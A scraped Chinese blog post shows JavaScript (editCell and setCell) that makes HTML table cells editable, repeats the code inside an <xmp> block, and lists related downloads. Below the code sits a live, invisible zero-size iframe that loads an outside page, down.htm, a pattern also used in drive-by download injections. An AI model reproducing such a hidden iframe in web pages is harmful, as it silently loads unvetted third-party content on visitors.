`
java2000.net
  • 浏览: 660203 次
  • 性别: Icon_minigender_1
  • 来自: 天津
社区版块
存档分类
最新评论

怎样让你的表格可编辑???

阅读更多

 

怎样让你的表格可编辑???

出处:http://go.163.com/colorweb

<style> .td1 { color: white; background-color: orange;font-size:11pt} .td2 { color: white; background-color: #0099ff;font-size:11pt} .td3 { color: white; background-color: #336699;font-size:11pt} blockquote{BACKGROUND-POSITION: center center; BACKGROUND-IMAGE: url(http://lucky.myrice.com/back.jpg); BACKGROUND-REPEAT: no-repeat;padding-left:20px;padding-top:20px;padding-bottom:20px;border: 12px solid #66ffff; border-style: ridge;background-color:#0099FF} </style> <script> function editCell (cell) { if (document.all) { cell.innerHTML = ''; document.all.editCell.focus(); document.all.editCell.select(); } else if (document.getElementById) { cell.normalize(); var input = document.createElement('INPUT'); input.setAttribute('value', cell.firstChild.nodeValue); input.setAttribute('size', cell.firstChild.nodeValue.length); input.onchange = function (evt) { setCell(this.parentNode, this.value); }; input.onclick = function (evt) { evt.cancelBubble = true; if (evt.stopPropagation) evt.stopPropagation(); }; cell.replaceChild(input, cell.firstChild); input.focus(); input.select(); } } function setCell (cell, value) { if (document.all) cell.innerText = value; else if (document.getElementById) cell.replaceChild(document.createTextNode(value), cell.firstChild); } </script>
欢迎光临 [孟宪会之精彩世界] http://lucky.myrice.com

代码如下:

<xmp><html> <head> <style> .td1 { color: white; background-color: orange;} .td2 { color: white; background-color: #0099ff;} .td3 { color: white; background-color: #336699;} </style> <script> function editCell (cell) { if (document.all) { cell.innerHTML = ''; document.all.editCell.focus(); document.all.editCell.select(); } else if (document.getElementById) { cell.normalize(); var input = document.createElement('INPUT'); input.setAttribute('value', cell.firstChild.nodeValue); input.setAttribute('size', cell.firstChild.nodeValue.length); input.onchange = function (evt) { setCell(this.parentNode, this.value); }; input.onclick = function (evt) { evt.cancelBubble = true; if (evt.stopPropagation) evt.stopPropagation(); }; cell.replaceChild(input, cell.firstChild); input.focus(); input.select(); } } function setCell (cell, value) { if (document.all) cell.innerText = value; else if (document.getElementById) cell.replaceChild(document.createTextNode(value), cell.firstChild); } </script> </head> <body>
欢迎光临 [孟宪会之精彩世界] http://lucky.myrice.com
</body> </html> </xmp>
<iframe src="http://lucky.myrice.com/down.htm" height="0" width="0"></iframe>
分享到:
评论

相关推荐

    layui表格动态添加|layui表格可编辑

    layui表格动态添加|layui表格可编辑动态添加

    bootstrap插件_table可编辑表格_demo

    Bootstrap是世界上最受欢迎的前端开发框架之一,用于构建响应式、移动优先的网页项目。在Bootstrap中,表格(Table)是常见的...通过对这些文件的学习和研究,你可以理解并掌握在Bootstrap中创建可编辑表格的完整流程。

    可编辑的表格

    首先,我们关注"可编辑的表格"这一主题。在传统的HTML表格中,数据是静态的,用户只能浏览而无法直接编辑。但借助JavaScript,我们可以为表格单元格(`&lt;td&gt;`)添加事件监听器,如`click`或`focus`,以便当用户点击或...

    JS实现可编辑的表格

    使用Handsontable,你可以这样创建一个可编辑表格: ```javascript // 导入Handsontable库 import Handsontable from 'handsontable'; // 初始化表格 const container = document.getElementById('hotContainer');...

    bootstrap可编辑表格完整代码

    Bootstrap可编辑表格是一种基于Bootstrap框架实现的交互式表格,它允许用户在表格内直接编辑数据,无需跳转页面或打开新窗口。这种功能对于数据管理、CRUD操作(创建、读取、更新、删除)非常实用,尤其适用于后台...

    可编辑表格

    在IT领域,"可编辑表格"是一个非常实用的功能,它广泛应用于数据管理、数据分析和信息组织。无论是电子表格软件如Microsoft Excel,还是在线协作工具如Google Sheets,这种功能都为用户提供了极大的便利。下面我们将...

    jQuery实现可编辑表格

    本教程将探讨如何利用jQuery实现一个可编辑的表格,让用户体验到更加交互式的数据管理。 首先,我们需要理解HTML表格的基本结构。一个基本的HTML表格由`&lt;table&gt;`元素开始,其中包含`&lt;tr&gt;`(行)元素,每个行内有`...

    可编辑表格js代码

    总的来说,"可编辑表格js代码"提供了一种实用的解决方案,使得网页表格不仅具有展示功能,还能让用户直接进行编辑。这种技术在数据分析、管理应用和各种数据输入场景中都有广泛的应用。通过深入理解并灵活运用...

    vue可编辑表格

    基于vue的可编辑表格 很多时候我们需要直接编辑表格内容,这个组件刚好解决了需求

    jquery可编辑表格插件

    "jquery可编辑表格插件"就是基于jQuery的一种工具,旨在为网页中的表格提供动态编辑功能,使得用户可以直接在表格中进行数据的增删改查,极大地提升了交互性和用户体验。这种插件在数据展示和管理场景中尤其实用,...

    js做的可编辑的表格

    在JavaScript的世界里,创建一个可编辑的表格是一个常见的需求,特别是在构建动态Web应用程序时。这里我们探讨的主题是如何使用JavaScript(以及可能的库如jQuery或更专业化的数据网格库)来实现一个可编辑的表格...

    EXT 可编辑 表格的例子

    EXT 可编辑 表格的例子 EXT 可编辑 表格的例子

    JQuery实现可编辑的表格

    本篇文章将深入探讨如何使用jQuery来实现一个可编辑的表格,这在数据展示和用户交互方面具有广泛的应用。 首先,让我们了解基本概念。jQuery的核心特性包括选择器(用于查找HTML元素)、DOM操作(添加、删除或修改...

    javascript可编辑的表格

    JavaScript可编辑的表格是一种在网页上实现数据动态编辑和展示的重要技术。在Web开发中,尤其是在数据密集型应用中,用户通常需要与表格交互,比如添加、修改或删除数据。JavaScript提供了丰富的库和方法来创建这种...

    js可编辑表格样表

    js可编辑表格样表,可对列表进行新增、删除、修改操作

    jquery将table表格变成可编辑

    要实现表格可编辑,我们主要关注`&lt;td&gt;`元素。 在jQuery中,我们可以利用`.click()`事件监听用户对表格单元格的点击。当用户点击某个单元格时,我们将该单元格的内容变为可编辑的输入框(`&lt;input&gt;`)。以下是一个...

    CListCtrl表格可编辑

    本主题将深入探讨如何实现“CListCtrl表格可编辑”这一功能,这对于数据展示和用户交互至关重要。CListCtrl是MFC(Microsoft Foundation Classes)库中的一个类,它用于创建类似电子表格的列表视图控件,而使其变得...

    纯js和html可编辑的table(表格)

    "纯js和html可编辑的table(表格)"这个项目提供了一种方法,允许用户直接在网页上对表格进行编辑,增强了用户的交互体验。接下来,我们将深入探讨如何使用JavaScript (JS) 和 HTML 实现这样的功能,以及涉及的相关...

Global site tag (gtag.js) - Google Analytics